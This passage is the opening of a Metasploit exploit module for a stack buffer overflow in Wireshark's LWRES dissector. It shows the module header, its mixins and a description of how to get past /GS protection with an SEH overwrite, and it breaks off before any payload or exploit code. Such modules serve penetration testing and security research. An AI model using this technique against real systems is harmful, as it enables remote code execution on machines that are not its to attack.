##
# $Id: wireshark_lwres_getaddrbyname.rb 8367 2010-02-04 04:56:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'racket'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Capture

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow',
			'Description' => %q{
					The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
				1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
				overflow. This bug found and reported by babi.

				This particular exploit targets the dissect_getaddrsbyname_request function. Several
				other functions also contain potentially exploitable stack-based buffer overflows.

				The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
				exploitation via the return address on the stack. Sending a larger string allows
				exploitation using the SEH bypass method. However, this packet will usually get
				fragmented, which may cause additional complications.

				NOTE: The vulnerable code is reached only when the packet dissection is rendered.
				If the packet is fragmented, all fragments must be captured and reassembled to
				exploit this issue.
			},
			'Author'      =>
				[
					'babi',   # original discovery/exploit
					'jduck',  # ported from public exploit
					'redsand' # windows target/testing
				],
			'License'     => MSF_LICENSE,
			'Version'     => '$Revision: 8367